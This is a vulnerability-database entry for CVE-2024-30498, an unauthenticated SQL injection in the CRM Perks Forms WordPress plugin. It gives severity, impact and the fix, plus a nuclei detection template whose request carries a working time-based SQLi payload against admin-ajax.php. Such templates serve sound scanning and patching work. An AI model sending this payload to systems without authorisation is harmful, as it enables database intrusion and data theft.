HexBrain

Browse / CVEs / CVE-2024-30498

CVE-2024-30498· CWE-89

CRM Perks Forms <= 1.1.4 - SQL Injection

criticalseverity
9.3CVSS score
2.2%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it

CRM Perks CRM Perks Forms (affected versions 1.1.4 and earlier) contains a SQL injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL commands, exploit requires user interaction.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.

Fix

Update to the latest version of CRM Perks Forms, version 1.1.5 or later.

How to confirm it

Send: @timeout: 20s
Positive when: duration >= 8 and status_code == 200 and contains(content_type, "text/html") and contains(body, "\"status\":\"ok\"")

Run it with nuclei: nuclei -id CVE-2024-30498 -u <target>

The full check
id: CVE-2024-30498

info:
  name: CRM Perks Forms <= 1.1.4 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    CRM Perks CRM Perks Forms (affected versions 1.1.4 and earlier) contains a SQL injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL commands, exploit requires user interaction.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
  remediation: |
    Update to the latest version of CRM Perks Forms, version 1.1.5 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/crm-perks-forms/crm-perks-forms-114-unauthenticated-sql-injection
    - https://patchstack.com/database/wordpress/plugin/crm-perks-forms/vulnerability/wordpress-crm-perks-forms-plugin-1-1-4-unauthenticated-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30498
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2024-30498
    epss-score: 0.02248
    epss-percentile: 0.83037
    cwe-id: CWE-89
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,crm-perks-forms

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=post_cfx_form&form_id=1%27OR(EXP(~(SELECT*FROM(SELECT(SLEEP(8)))a)))OR%27&vx_is_ajax=1&fixed[test]=a

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "\"status\":\"ok\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from